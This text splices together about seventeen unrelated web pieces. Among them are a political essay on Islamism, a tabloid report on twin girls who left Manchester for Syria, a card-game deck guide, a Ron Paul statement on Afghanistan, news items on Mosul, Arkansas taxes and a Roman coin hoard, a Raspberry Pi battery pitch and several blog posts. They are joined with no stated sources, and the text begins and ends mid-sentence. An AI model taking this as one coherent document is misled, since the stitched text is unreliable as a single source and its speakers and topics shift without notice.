decade—and am vilified by my fellow liberals whenever I do.  What we need, above all, is a new center to our politics—one that defends secularism, science, and free speech against their enemies on both the Left and the Right.  4. It is perfectly possible—and increasingly necessary—to speak about the ideological roots of Islamism and jihadism, and even about the unique need for reform within mainstream Islam itself, without lapsing into bigotry or disregarding the suffering of refugees. Indeed, when one understands the problem for what it is, one realizes that secular Muslims, liberal Muslims, and former Muslims are among the most desirable allies to have in the West—and, indeed, such people are the primary victims of Islamist intolerance and jihadist terror in Muslim-majority countries.  5. If liberals who refuse to speak honestly on these topics continue to march with Islamists, denigrate free speech, and oppose the work of the real reformers in the Muslim community, they will only further provoke and empower Trump. And Trump, in turn, will empower Islamists the world over by threatening the civil liberties of all Muslims within his reach.  6. The next acts of jihadist terrorism to take place on American soil will most likely be met with terrifyingly blunt (and even illegal) countermeasures by the Trump administration. If all that liberals can do in response is continue to lie about the causes of terrorism and lock arms with Islamists, we have some very rough times ahead.  7. If you are listening to obscurantists like Linda Sarsour, Dalia Mogahed, Reza Aslan, and representatives of CAIR, and denigrating true secularists and reformers like Maajid Nawaz, Ayaan Hirsi Ali, Raheel Raza, and Sarah Haider, you are part of the problem.  Nothing that I have said or written about Islam, the war on terror, or even “profiling”[1] stands in contradiction to these points.  What we need, above all, is a new center to our politics—one that defends secularism, science, and free speech against their enemies on both the Left and the Right. And now we each must choose between supporting that civilizing project and joining in the chaos to come.  Addendum 1/30/17  The following interview was recorded several months before the 2016 presidential election:
-The jihad sisters: Bubbly and exceptionally bright, these twins with 28 GCSEs were set to train as doctors. Now they're in Syria 'training to be killers'  Twins Salma and Zahra Halane left their parents’ home in middle of night  They then caught a flight to Turkey, before crossing the border to Syria  Sisters appeared to be typical teenagers, pouting for selfies and shopping  Now they are feared to be training for battle in footsteps of elder brother  Twin schoolgirls who followed their jihadi brother to Syria were hard-working students who hoped to train as doctors.  Sixteen-year-olds Salma and Zahra Halane, who last summer achieved 28 GCSEs between them, left their parents’ home in the middle of the night and caught a flight to Turkey, before crossing the border.  Police said the pair are thought to have followed their elder brother, who ditched his own ‘excellent’ academic career to join the ISIS terror group around a year ago.  Scroll down for video  Salma (left) and Zahra Halane (right), who last summer achieved 28 GCSEs between them, left their parents’ home in the middle of the night and caught a flight to Turkey, before crossing the border  Friends said the twins had appeared to be typical teenagers, pouting for selfies and shopping at Primark – but they are now feared to be training for battle.  Last night a rebel fighter boasted that he was teaching girls as young as 16 how to fight. Yilmaz, a Dutch national who has been in Syria for two years, told Sky News: ‘It’s extremely easy to get here. People go on holiday ... they end up in Syria.’  The twins’ parents raised the alarm last month, after finding the girls’ beds empty and their passports and clothes missing.  A former neighbour said the couple had been ‘quite strict’, and did not allow the girls to ‘mix with other children on the street’. Others recalled that the twins wore headscarves when they were as young as nine. But Rhea Headlam, who sat next to Zahra in primary school, said they were ‘just normal teenage girls’.  ‘I’m really shocked – I used to bump into them at Primark,’ she added. ‘They were both really clever.’  Selfies: Zahra, left, and Salma, right, pose with friends in pictures taken not long before they fled the UK  Schoolgirl: Zahra Halane kneels in front of friends when she was in Year 6 at her primary school  Last summer Salma achieved 13 GCSEs – 11 of them at grades A* to C – while Zahra passed 15, of which 12 were A*-C. The results put them in the top 10 per cent of their year group at Whalley Range High School for Girls in Manchester.  They went on to study at Connell Sixth Form College, where fellow students said they hoped to follow in the footsteps of their elder sister Hafsa, 25, who is at medical school in Denmark after graduating from Manchester University.  ‘The twins both have aspirations to become doctors – that is their ambition,’ said one. Another claimed it was ‘typical’ of the girls to head to Syria ‘after they had finished term’, adding: ‘They wouldn’t want to mess up their education.  ‘I’m shocked they have gone. They didn’t seem to be radical or extremist in their views.’  Support: Visitors arrive at the family home yesterday, but the girls' parents have not spoken publicly  It emerged yesterday that the girls’ devoutly Muslim Somali refugee parents and their 11 children had been moved from an estate made famous by the TV series Shameless to an upmarket suburb, after telling the council they needed more bedrooms.  They were given a six-bedroom end-terrace despite the protests of the existing tenant. Yesterday the large back and front gardens were strewn with discarded household items and children’s plastic toys.  The house's previous resident - a 40-year-old Army heroine who served in Bosnia - said last night she had been booted out of the house by Manchester City Council so the twins and their family could move in.  Former lance corporal Dawn Benjamin told The Sun she had thought the house - her childhood home - would be 'going to a good family'.  She added: 'I lost my life, memories, everything I'd grown up with, to house jihadi wannabes'.  Ms Benjamin and her young son had to move out after they were served with a court order. The council confirmed the house had been needed for a larger family.  Police probe: Officers were seen leaving the house. The large back and front gardens were strewn with discarded household items and children's plastic toys  Neighbours said the twins’ parents were keen to share elements of Somalian culture with them, taking round dishes of traditional delicacies for them to try. The twins’ father Ibrahim is understood to teach at a nearby mosque, where leaders this week issued a statement repudiating extremism and opposing violence of all kinds.  Mohammed Shafiq, of the Ramadan Foundation, said the family were moderate Muslims who know all about the dangers of war-torn countries. ‘They were desperately unhappy to discover [their son] had gone to Syria, and they thought they were keeping a watchful eye on their other children. Then this happens,’ he said.  Sources believe Salma and Zahra were inspired by their brother’s transformation into a jihadi fighter, and became radicalised themselves while viewing extremist Islamist material online.  According to police sources, their brother also travelled to the family’s native Somalia, where he may have linked up with another Islamist terror group al-Shabab.  A friend told The Sun the brother was known for his ability to recite long passages of the Koran.  Officers are investigating how the girls funded their own trip, over fears they have been bankrolled by jihadi fighters who want them as their wives.  As many as 1,500 Britons may have travelled to Syria to fight alongside rebels. Many of them have posted messages online promising to use their ‘terror skills’ if they return to Britain.
-- If you place a Relentless Raider turn 1 and follow it with any of Greystone Ravager or Orc Clan Captain turn 2, you can fool your opponent you're a plain aggro deck. That can cause him to focus on Raider, rather than Ravager, letting you keep that precious orc on board.  - If you place just a Greystone Ravager on board, you can trick your opponent you're a prophecy battlemage. Especially if your next card is Morkul Gatekeeper.  - And, finally, placing Wardcrafter can make him think you're a midrange battlemage with plenty of wards. Morkul in next turn also won't break the illusion.  Wh-where do I start. This deck changed my life. And I didn't mean to!Currently I'm 10-1 with this deck. After getting 10-1 with midrange orc warrior I decided to change things up a bit and make an orc battlemage. The idea was around my head for a while, ever since I saw now private/deleted Faylash's midrange assassin list with dark rebirths and dragons.So... let's talk about advantages and disadvantages.+ BURST. You can close the gaps like nothing else in this game. Between lightning bolts, ancano, dark rebirth (with charge creatures or ancano) and charge creatures you can go face really hard and not worry.+ Pretty easy to pick up. At its core it's an aggro list. It's not Time to Fight, but it's still relatively easy to just get up and play. Barring the cards' cost in dust that is.+ So many favorable matchups. I've beaten 3 rage archers on my way there. I've smashed ramp spellsword and scout. If you recognize these - good. That's probably how a ladder looks for you now lol.- If the ladder is full of control mages (specifically mages, you couldn't care less if you're facing spellswords) or token crusaders or literally anything faster, you probably shouldn't play this deck. It can race, but not that well. And as a passive player you can't do much due to all the breakthrough.- No healing. To be expected from a Battlemage.And probably something else. I don't know. I love this deck, but at the same time I'm scared because I can close a gap as large as 10 damage on turn 8.Your acceptable starting hand is at least 1 card that is a 3-or-less drop and preferably neither Stoneshard Orc nor Stronghold Patrol. Not really hard. Keep Rapid Shot if you're facing a Battlemage (1 hp creatures a plenty) and optionally Assassin if you feel like you're against goblins, I guess. Then start pressuring. Depending on your starting hand you can seriously fool your opponent. Now let's talk about that.If you keep that in mind, you can potentially make your opponent play however you want him to.Your general plan is to go face. If your opponent drops a card, think what will he do with it and play accordingly. Trade with breakthrough against stuff that can kill something on your side. Keep Stoneshard Orc s in your pocket for problematic creatures, same with Earthbone Spinner s for guards or, for example, Murkwater Shamans.I'd talk about budget replacements here, but there's one little issue. Wood Orc Headhunter is a huuuge part of this deck. The 5 cost 5 attack charge creature is HUGE. You can't just replace it. Not even Vigilante, which I still pack 1 of, can do the job this thing can. The closest thing with that much impact would be Royal Sage . You can even Dark Rebirth the sage for double the impact, but trust me when I say that these two are not even close to be compared, unless your Sage gets charge twice. Alternatively, to keep the deck mostly red, you can play Triumphant Jarl , but I personally really don't like this card. It doesn't feel right, that's all.Other than that your replacements are the usual. Relentless Raider into Fiery Imp Earthbone Spinner and Belligerent Giant into 3 copies of Cast Out and 1 Bone Bow Stoneshard Orc , despite being a rare, are a part of Madhouse Collection. With Twitch drops you should buy that collection eventually, but for the sake of just bringing the gem cost down for everything, try Skaven Pyromancer Garnag, Dark Adherent and (though you should probably have his deck bought) Ancano for... I have no clue what you could bring here. Maybe Fate Weaver , although there ain't that many prophecies in the deck.Finally, Underworld Vigilante 's closest available replacement is Battlefield Scrounger In the end, just focus in having 3 Underworld Vigilante s in deck. As a matter of fact, either Time to Fight battlemage by flex or prophecy battlemage will probably be a better thing to run. Wood Orcs are, seriously, too important. Unless you really love orcs and want to play them, don't craft them first.
-Nonprofits in Arkansas will no longer benefit from the sales and use tax refund provided by the Nonprofit Incentive Act of 2005. Senate Bill 160, which was signed into law last week, repeals the Act, effective 90 days after the end of the 2017 legislative session.  The Nonprofit Incentive Act was created as an incentive to draw nonprofits to the state. The text of the Act notes, “In situations in which a nonprofit organization is considering whether to locate its operations in Arkansas, it is important to have an inducement to help the nonprofit organization decide to locate to Arkansas.”  However, bill sponsor Sen. David Wallace told the Senate that the incentives had never been used because nonprofits would “rather stay in Washington, D.C.” Wallace was asked by the Arkansas Economic Development Commission to sponsor a bill to eliminate the program. Additional information about the incentive is available in the text of SB 160.  Changes in product taxability, exemptions, and sales and use tax rates make it challenging for businesses to manage sales and use tax. Tax automation software facilitates sales and use tax compliance in all states. Learn more.  Photo credit.
-Best. Match. EVER!  The yarn is exactly what I would've picked out myself (with brands I've never tried, too!); and oh my gosh, the goodies! Winnie definitely went above and beyond the call of duty with this 'mission'. ;)  I got some chocolate and I was just thinking about how I need chocolate earlier today. Perfect.  I got some Star Trek stitch markers; Kirk and Spock! My first Star Trek love was the Original Series. Perfect.  I got some Earl Grey Tea. I just ran out, and I do love the Next Generation as well! Perfect.  I got two amazing cards, one with an official-looking Star Trek transmission, and one with lovely flowers and a butterfly and a sweet handwritten note. Perfect, and thoughtful to boot!  I am incredibly impressed and my face hurts from smiling so much! :D
-Recently by Ron Paul: Americans Deserve a Transparent Fed  Statement before the Foreign Affairs Committee, United States House of Representatives, December 10, 2009  Mr. Speaker thank you for holding these important hearings on US policy in Afghanistan. I would like to welcome the witnesses, Ambassador Karl W. Eikenberry and General Stanley A. McChrystal, and thank them for appearing before this Committee.  I have serious concerns, however, about the president’s decision to add some 30,000 troops and an as yet undisclosed number of civilian personnel to escalate our Afghan operation. This “surge” will bring US troop levels to approximately those of the Soviets when they occupied Afghanistan with disastrous result back in the 1980s. I fear the US military occupation of Afghanistan may end up similarly unsuccessful.  In late 1986 Soviet armed forces commander, Marshal Sergei Akhromeev, told then-Soviet General Secretary Mikhail Gorbachev, "Military actions in Afghanistan will soon be seven years old. There is no single piece of land in this country which has not been occupied by a Soviet soldier. Nonetheless, the majority of the territory remains in the hands of rebels.” Soon Gorbachev began the Soviet withdrawal from its Afghan misadventure. Thousands were dead on both sides, yet the occupation failed to produce a stable national Afghan government.  Eight years into our own war in Afghanistan the Soviet commander’s words ring eerily familiar. Part of the problem stems from a fundamental misunderstanding of the situation. It is our presence as occupiers that feeds the insurgency. As would be the case if we were invaded and occupied, diverse groups have put aside their disagreements to unify against foreign occupation. Adding more US troops will only assist those who recruit fighters to attack our soldiers and who use the US occupation to convince villages to side with the Taliban.  The Revolution: A Mani... Ron Paul Best Price: $1.27 Buy New $5.00 (as of 07:50 EST - Details) Proponents of the president’s Afghanistan escalation cite the successful “surge” in Iraq as evidence that this second surge will have similar results. I fear they might be correct about the similar result, but I dispute the success propaganda about Iraq. In fact, the violence in Iraq only temporarily subsided with the completion of the ethnic cleansing of Shi’ites from Sunni neighborhoods and vice versa — and all neighborhoods of Christians. Those Sunni fighters who remained were easily turned against the foreign al-Qaeda presence when offered US money and weapons. We are increasingly seeing this “success” breaking down: sectarian violence is flaring up and this time the various groups are better armed with US-provided weapons. Similarly, the insurgents paid by the US to stop their attacks are increasingly restive now that the Iraqi government is no longer paying bribes on a regular basis. So I am skeptical about reports on the success of the Iraqi surge. If you like this site, please help keep it going and growing.  Likewise, we are told that we have to “win” in Afghanistan so that al-Qaeda cannot use Afghan territory to plan further attacks against the US. We need to remember that the attack on the United States on September 11, 2001 was, according to the 9/11 Commission Report, largely planned in the United States (and Germany) by terrorists who were in our country legally. According to the logic of those who endorse military action against Afghanistan because al-Qaeda was physically present, one could argue in favor of US airstrikes against several US states and Germany! It makes no sense. The Taliban allowed al-Qaeda to remain in Afghanistan because both had been engaged, with US assistance, in the insurgency against the Soviet occupation.  Nevertheless, the president’s National Security Advisor, Gen. James Jones, USMC (Ret.), said in a recent interview that less than 100 al-Qaeda remain in Afghanistan and that the chance they would reconstitute a significant presence there was slim. Are we to believe that 30,000 more troops are needed to defeat 100 al-Qaeda fighters? I fear that there will be increasing pressure for the US to invade Pakistan, to where many Taliban and al-Qaeda have escaped. Already CIA drone attacks on Pakistan have destabilized that country and have killed scores of innocents, producing strong anti-American feelings and calls for revenge. I do not see how that contributes to our national security.  A Foreign Policy of Fr... Ron Paul Best Price: $0.25 Buy New $6.00 (as of 03:50 EST - Details) The president’s top advisor for Afghanistan and Pakistan, Richard Holbrooke, said recently, “I would say this about defining success in Afghanistan and Pakistan. In the simplest sense, the Supreme Court test for another issue, we’ll know it when we see it.” That does not inspire much confidence.  Supporters of this surge argue that we must train an Afghan national army to take over and strengthen the rule and authority of Kabul. But experts have noted that the ranks of the Afghan national army are increasingly being filled by the Tajik minority at the expense of the Pashtun plurality. US diplomat Matthew Hoh, who resigned as Senior Civilian Representative for the U.S. Government in Zabul Province, noted in his resignation letter that he “fail[s] to see the value or the worth in continued U.S. casualties or expenditures of resources in support of the Afghan government in what is, truly, a 35-year-old civil war.” Mr. Hoh went on to write that “[L]ike the Soviets, we continue to secure and bolster a failing state, while encouraging an ideology and system of government unknown and unwanted by [the Afghan] people.”  I have always opposed nation-building as unconstitutional and ineffective. Afghanistan is no different. Without a real strategy in Afghanistan, without a vision of what victory will look like, we are left with the empty rhetoric of the last administration that “when the Afghan people stand up, the US will stand down.” I am afraid the only solution to the Afghanistan quagmire is a rapid and complete US withdrawal from that country and the region. We cannot afford to maintain this empire and our occupation of these foreign lands is not making us any safer. It is time to leave Afghanistan.  See the Ron Paul File  December 12, 2009  The Best of Ron Paul
-Gov. Larry Hogan weighed into the health care fray again Wednesday, signing a bipartisan letter to Senate leaders that opposes the so-called “skinny repeal” plan emerging as a potentially viable option to dismantle Obamacare.  “Congress should be working to make health insurance more affordable while stabilizing the health insurance market,” Hogan and nine other governors wrote in the letter.  The state leaders, who could be blamed for rate hikes caused by congressional action, said the skinny repeal would “accelerate health plans leaving the individual market, increase premiums, and result in fewer Americans having access to coverage.”  Senate leaders are considering a pared down repeal that would eliminate unpopular provisions of the 2010 Obamacare law, such as the requirement that all Americans carry some level of insurance or face a tax penalty. But that provision underpins the entire Obamacare system – making another measure, guaranteed coverage for people with preexisting conditions, possible.  Without a requirement for healthy people to carry insurance, the system breaks down because no one would purchase coverage until they became sick. The Congressional Budget Office estimated Wednesday that as many as 16 million people could lose their coverage under that arrangement.  Republican leaders are hopeful a skinny repeal could garner majority support in the Senate so that the chamber could bring something into a conference committee. That would allow Senate and House leaders to begin negotiations on a final bill.  But the governors dismissed that idea.  “Instead, we ask senators to work with governors on solutions to problems we can all agree on: fixing our unstable insurance markets,” they wrote. “The next best step is for senators and governors of both parties to come together to work to improve our health care system.”  The letter marks the second time in as many weeks Hogan and other Republican governors have openly questioned the strategy embraced by their party’s leaders in Washington. After months of avoiding questions of national policy, Hogan has become increasingly vocal on health care.  Last week Hogan and other governors wrote a letter opposing the so-called repeal-and-delay strategy that would have unwound the Affordable Care Act now and then held off on a replacement.  Wednesday’s letter was also signed by the Democratic governors of Colorado, Virginia, Pennsylvania, Montana and Louisiana and the Republican governors of Nevada, Massachusetts, Ohio and Vermont.  john.fritze@baltsun.com  twitter.com/jfritze
-Also, my friend and yours Chip Zdarsky asked people on Twitter what to draw the other day, and I said "Draw Superman flexing and showing off his tattoos", and then Dustin Harbin suggested Chip draw me flexing and showing off MY Superman tattoos and anyway LONG STORY SHORT you can buy this particularly evocative picture of me on eBay to support This American Life. AND Chip will even draw in a fourth tattoo of your choosing! Whotta deal!  GUESS WHAT JUST CAME OUT: IT'S MY NEW BOOK!! If you've ever wondered what you'd do if you were stranded in the past, wonder no longer! With HOW TO INVENT EVERYTHING, you'll reinvent civilization from scratch, no matter what time period you're in. You'll become the single most influential, decisive, and important person ever born. You'll make history...  ...better.  Here's the trailer!  One year ago today: it is a word that is very handy if you are in the alien movies and a friend of yours has an alien pop out of his chest. you won't struggle for words in that situation anymore.  – Ryan
-Image caption Archaeologists from Somerset County Council excavated the jar and coins  One of the largest ever finds of Roman coins in Britain has been made by a man using a metal detector.  The hoard of more than 52,000 coins dating from the 3rd Century AD was found buried in a field near Frome in Somerset.  The coins were found in a huge jar just over a foot (30cm) below the surface by Dave Crisp, from Devizes in Wiltshire.  "I have made many finds over the years, but this is my first major coin hoard," he said.  After his metal detector gave a "funny signal", Mr Crisp says he dug down 14in before he found what had caused it.  "I put my hand in, pulled out a bit of clay and there was a little Radial, a little bronze Roman coin. Very, very small, about the size of my fingernail."  Mr Crisp reported the find to the authorities, allowing archaeologists to excavate the site.  Offering to gods  Since the discovery in late April, experts from the Portable Antiquities Scheme at the British Museum have been working through the find.  The coins were all contained in a single clay pot. Although it only measured 18in (45cm) across, the coins were packed inside and would have weighed an estimated 160kg (350lb).  "I don't believe myself that this is a hoard of coins intended for recovery," says Sam Moorhead from the Portable Antiquities Scheme.  "I think what you could see is a community of people who are actually making offerings and they are each pouring in their own contribution to a communal ritual votive offering to the gods."  It is estimated the coins were worth about four years' pay for a legionary soldier.  "Because Mr Crisp resisted the temptation to dig up the coins, it has allowed archaeologists from Somerset County Council to carefully excavate the pot and its contents," said Anna Booth, local finds liaison officer.  Somerset County Council Heritage Service now hope the coroner will declare the find as treasure. That would allow the Museum of Somerset to acquire the coins at market value with the reward shared by Mr Crisp and the land owner.  The story of the excavation will be told in a new BBC Two archaeology series, Digging for Britain, presented by Dr Alice Roberts and made by 360production, to be broadcast in August.
-BAGHDAD (Reuters) - The Iraqi army will need the Kurds’ help to retake Mosul, the largest city under the control of Islamic State with the planned offensive expected to be very challenging in a region home to rival religious and ethnic groups, an Iraqi minister said. Mosul, 400 km (250 miles) north of Baghdad, has been designated by the government as the next target for Iraq’s armed forces after they retook the western city of Ramadi, the first major success of the U.S.-trained force that initially fled in the face of Islamic State’s advance 18 months ago.  Volunteers to fight the Islamic State, from different Iraqi factions including Kurdish and Yazidis, train at a camping area near Kurdish security points on Bashiqa mountain, around 15km Northeast of the Islamic State held city of Mosul, March 7, 2015. REUTERS/Asmaa Waguih  Retaking the mostly Sunni city of Mosul would be hard as the local and regional players in northern Iraq have diverging agendas. The region is a mosaic of different ethnic and religious groups lying between Turkey, Syria and Iraqi Kurdistan.  It would effectively mark the end of the caliphate proclaimed by Islamic State in adjacent Sunni areas of Iraq and Syria, Iraq’s Finance Minister Hoshiyar Zebari told Reuters in an interview.  “Mosul needs good planning, preparations, commitment from all the key players,” Zebari, a Kurd, said on Monday in Baghdad. “Peshmerga is a major force; you cannot do Mosul without Peshmerga,” he said, referring to the armed forces of Iraqi Kurdistan, an autonomous northern region close to Mosul.  Kurdish forces have positions east, north and west of Mosul while Iraqi security forces backed by Shi’ite militias have positions in Baiji, south of Mosul.  The city had a population of two million before it fell to the militants in June 2014, in the first stage of their sweeping advance through northern and western Iraq.The battle of Mosul would be “very, very challenging”, Zebari said. “It will not be an easy operation, for some time they have been strengthening themselves, but it’s doable.”Given the extent of the area that needs to be secured around Mosul during the attack, the army may also need to draw on local Sunni forces and possibly the Shi’ite Popular Mobilisation Forces (PMF) in support roles, he said. The PMF, known in Arabic as Hashid Shaabi, is a loosely knit coalition of mostly Iran-backed Shi’ite militias set up to fight Islamic State. The government sidelined the PMF in the Ramadi battle to ensure air support from the U.S. which is reluctant to be seen fighting on the same side as the Iranian-backed militias.  “Mosul is different from Ramadi,” U.S. Army Colonel Steve Warren, spokesman for the Baghdad-based anti-IS coalition told reporters on a video conference on Tuesday.  “It’s a big, big, big city and it’s going to take a lot of effort. It’s going to take more training. It’s going to take more equipment, and it’s going to take patience.”  ‘FINAL BLOW’  Prime Minister Haider al-Abadi said on Monday that Islamic State would be defeated in 2016 with the army planning to move on Mosul. “We are coming to liberate Mosul and it will be the fatal and final blow to Daesh,” he said in speech praising the army’s “victory” in Ramadi. “It’s there (Mosul) where Abu Bakr al-Baghdadi declared his caliphate,” Zebari said, referring to the group’s leader. “It is literally their capital.”  The Iraqi Kurdish president, Massoud Barzani, discussed plans for the liberation of Mosul with Lieutenant General Tom Beckett, Britain’s senior defense adviser, in September, according to Kurdish TV Rudaw.  Peshmerga forces, backed by US air strikes, in November dislodged Islamic State from Sinjar, a town west of Mosul that is home to Iraq’s Yazidi minority who suffered at the hands of Islamic State when it overran the area in August 2014.  Barzani said at the time the capture of Sinjar “would have a big impact on liberating Mosul,” as the Yazidi town lies on the road to Raqqa, Islamic State’s stronghold on Syrian territory.  Arab Sunnis and Shi’ites are concerned that the Kurds could use the battle as a mean to expand the territory under their control, said Wathiq al-Hashimi, chairman of the Iraqi Group for Strategic Studies, a think-tank in Baghdad.  The Kurds are concerned that the Shi’ites would use their presence to bolster the influence of the central government in Baghdad, he said.  “The Peshmerga’s involvement will be inevitable but could further complicate the battle in Mosul if not enough guarantees have been taken from the regional leadership that they will not use it to expand their territories,” said Hashimi.
-Video  A stringent project designed to curb alcohol-related crime in the US state of South Dakota is to be used as a model for a project in the UK.  The "24/7 Sobriety Program" forces problem drinkers to take - and pay for - twice-daily breath tests to prove they are sober.  The tests can be used as a sentence after a conviction, or a condition of bail, after an alcohol-related crime. They can also be imposed upon parents as a condition of having children returned to a household in families with a history of alcohol abuse.  Failure of a test usually means an instant short spell in jail, and it is hoped that such a dramatic sentence will shock people out of re-offending - thereby reducing long-term prison numbers and cutting off alcohol-related crime at the source.  The Greater London Authority is working on a pilot of the project meaning compulsory sobriety would be used as a sentencing tool for magistrates and judges as an alternative to custody.  The BBC's Catrin Nye travelled to South Dakota to see what the programme looks like there.
-Korean Eximbank’s team conducting feasibility study for the first purpose built IT park in Islamabad, called on the Minister of State for IT Mrs. Anusha Rehman Khan here in Islamabad today and shared in detail the salient features, models and proposed designs along with other technical aspects for the building of first IT park in Pakistan.  Minister of State for IT Mrs. Anusha Rehman, Federal Secretary IT Mr. Rizwan Bashir Khan and senior officials from Ministry of IT and PSEB had a very fruitful discussion with the Korean experts regarding different aspects of feasibility study report. The 13 members’ Korean team was lead by Dr. Yim Deok Soon and Prof. Park Hung Kook.  Minister of IT welcomed the Korean delegation to MoIT and shared with them ministry’s vision to provide good infrastructure to the IT industry to leverage the full potential of Pakistan’s IT talent. She said that IT park will provide a whole ecosystem including affordable space to IT companies along with power, bandwidth, and linkages between industry and academia. IT park in Islamabad will be followed by two more parks at Lahore and Karachi subsequently.  Minister said that Pakistan has abundant IT talent and IT parks would be a good way of leveraging that talent to boost Pakistan’s IT exports which have already grown over 40% since last year. She appreciated the passion and spirit of Korean team and their constant support in IT park project and hoped that the IT Park would further augment the long lasting and strong relationship between Pakistan and Korea.  Minister requested the Korean team to fast track its efforts and submit their final report by next week so that they could enter in the implementation phase of the project at the earliest. She urged all stakeholders to collectively work to achieve the milestones.
-Two further points to make.  By Tim Colwill on September 9, 2014 at 1:17 pm  I posted this article following two weeks in which high-profile female developers and critics were subjected to violent threats from an angry minority of gamers. These types of threats are not welcome on games.on.net, and while passionately argued, the position outlined in the article was a straightforward extension of our acceptable use policy.  I’d like to thank those of you who have expressed their support for the article and for my stand. Today, however, there are two points I would like to address.  Firstly, I made the decision to disable comments on the article in question. This is not in keeping with the policies of iiNet, or of games.on.net, and indeed it was the first time in five years of writing for the site that I have disabled comments on an article.  In my judgement as editor, I believed that the comments would quickly devolve into argument. Seeing such arguments on our site does nothing but hurt our image and turn away visitors. I was anxious to avoid this, and I was also anxious to avoid accusations of posting “flamebait”, of simply posting a controversial article simply to benefit from the traffic that comes from visitors having an intense argument.  Nevertheless, I recognise that public debate and engagement is welcomed by both iiNet and games.on.net, and I apologise for closing comments on this article. We will be reviewing our commenting policy in the coming days and weeks to ensure that we can maintain the levels of debate and engagement you expect, while working hard to stand up for the equality and decency we believe is so important in gaming.  Secondly, my conduct on my Twitter account has always been passionate and personal, and uses a level of language that breaches iiNet social media policy, and has no place in a professional environment. I apologise for my conduct on Twitter, and to any readers of games.on.net or iiNet Group customers who have taken offence at that conduct.  In the interest of transparency and accountability, I will be posting our complete editorial policy in the coming days.  Thanks again to all of our readers and customers for your overwhelming support.  Tim Colwill  Editor-in-Chief  games.on.net
-One week after launching his one-man protest at Amazon headquarters in Seattle, former Amazon employee Kivin Varghese is still at it, trying to bring attention to his allegations of unethical and deceptive business practices at the company.  Today he will be trying a new tactic, handing out a new letter to employees calling on the company to augment its 14 leadership principles with new points addressing 1) employee treatment 2) business ethics and 3) environmental responsibility.  On the first point, the letter (PDF) takes the unusual step of urging Amazon employees not to work so hard. Writes Varghese in the letter …  1) Life is short, enjoy it – don’t give it all to Amazon. Leave work at a reasonable hour, don’t work nights and weekends. 2) If you’ve got more work on your plate than you can do, the company should hire more people, not drive you like a slave to get it done. 3) Don’t kill yourselves to keep the ship running. Slow down. Amazon will be fine.  Oh, boy. Questioning the company’s business ethics is one thing, but urging employees to be less productive? It will be interesting to see how Amazon reacts.  Varghese says via email that he has so far successfully resisted efforts by Amazon security to move his protest, and notes that he has been getting an “unbelievably positive response talking to hundreds of employees over the past several days.”  Varghese is involved in a protracted legal battle with the company, which has declined to comment on his protest.
-Appearance and function match the final product, but is made with different manufacturing methods.  Looks like the final product, but is not functional.  Demonstrates the functionality of the final product, but looks different.  A prototype is a preliminary model of something. Projects that offer physical products need to show backers documentation of a working prototype. This gallery features photos, videos, and other visual documentation that will give backers a sense of what’s been accomplished so far and what’s left to do. Though the development process can vary for each project, these are the stages we typically see:  These photos and videos provide a detailed look at this project’s development.  About  Final minutes!  We didn't reach our funding goal, but we are continuing work on future products and launches.  Follow us on our other social media sites to keep getting updates about our latest developments.  JuiceBox Zero Website: http://juiceboxzero.com/ JuiceBox Zero Facebook: https://www.facebook.com/juiceboxzero/ JuiceBox Zero Twitter: https://twitter.com/getjuiceboxzero JuiceBox Zero Instagram: https://www.instagram.com/getjuiceboxzero/  A big thank you to everyone involved!  The JuiceBox Zero is the only battery solution on the market built especially for Raspberry Pi Zero that requires no code. It is the easiest way to make your Pi Zero or Zero W instantly portable, and works right out of the box!  FEATURES  ON/OFF Switch  4 Status Indicator LEDs  Pi Zero Camera Mount  Micro USB Power Input  JuiceBox Zero works right out of the box. But with one additional line of Python, you can poll a GPIO pin for low battery status so you can trigger a safe shutdown of your Pi Zero.  Small, mobile cameras are one of the most common applications for portable Pi Zero devices. For that reason, the JuiceBox Zero was designed with a camera mount built right into the board!  YOU NEED  JuiceBox Zero  Raspberry Pi Zero or Zero W  Header Connection  JST-Compatible Single-cell Lithium-Ion Battery  THE STORY  While searching for a mobile battery solution for my Raspberry Pi 3, I found several well-made boards that were still a bit too cumbersome to set up. When the Pi Zero was released, I instantly saw the potential its tiny form factor provided for truly mobile inventions. But to be truly mobile, it can’t be tethered to a power source. Just imagine how useless an iPhone would be if it had to be plugged into the wall!  So I took matters into my own hands to create a truly portable battery solution that is both plug ‘n play and matches the Raspberry Pi Zero’s tiny footprint. The PowerBoost 1000c by Adafruit provided a stable baseline to start from — then I shrank it down and added a handful of my own improvements.  I’m excited about it, and can’t wait to see what you do you now that you can cut your Pi Zero loose.  — Sam
-Mid-4, #Phillies trail Toronto 8-0. But this happened earlier…so that was cool. pic.twitter.com/nUlnFVr9JE — Phillies (@Phillies) June 17, 2016  OK this guy is a wizard, but I don’t understand how someone can be so cool, so calm when a ball is coming at them and they’re holding a child. When I’m holding my son I turn into a protective cacoon, absorbing every glancing blow from a passerby or rogue wall. I move around like we’re on a moon bounce, turning life’s edges into soft ripples. It’s similar to the move I used in my post-collegiate years, The Tuck and Tumble – not a sex move, not even close – where I would curl my beer-carrying hand and allow my shoulder or elbow to absorb all blows in a crowded bar, creating a steadicam effect with the beer, to minimize or reduce spillage. That’s how I hold my son, only it’s a full-body protective shield. So if there was a foul ball coming at us, I’d tuck him under my seat, stand up proudly and scream wildly, while one-handing the ball like Tanaka in Major League II…  … or probably just turn my back and take a devastating kidney shot.  Anyway, credit to this guy. So cool under pressure.
-What is to be done? That question is being asked with increasing urgency about the British political system. Can we go on any longer with our dysfunctional, discredited, dishonourable arrangements? Or, to put the challenge in more practical terms, how can we use the next few months to bring about such a profound change at the forthcoming general election that there can be a fresh start? The scandalous exploitation by Members of Parliament of the expenses system, while it is far from the most serious deficiency of our system of government, has had the perverse benefit of making people very angry.  For fierce disgust is a necessary condition for carrying through substantial improvements in the way we are governed. The last time this happened was in the winter of 1978-79, when public sector workers went out on strike for weeks. Uncollected mountains of rubbish were piled high in the cities, army vehicles replaced ambulances and bodies remained unburied. At the subsequent general election, the untried Margaret Thatcher, proposing real change, swept Labour out of power for 18 years. Substitute MPs' expenses for the "winter of discontent" and you see that today's political conditions closely resemble those of 30 years ago.  However, to understand how far the rot in government has spread, note what Lord Malloch-Brown said last week when he resigned after a short spell as a Foreign Office minister. Gordon Brown's government was more "chaotic" than many administrations in the developing world, he said. Everything was cobbled together at the last minute and no one took the time to plan ahead.  Join Independent Minds For exclusive articles, events and an advertising-free read for just £5.99 €6.99 $9.99 a month Get the best of The Independent With an Independent Minds subscription for just £5.99 €6.99 $9.99 a month Get the best of The Independent Without the ads – for just £5.99 €6.99 $9.99 a month  It was no better when Tony Blair was Prime Minister. In one of the entries in his diary, recounting 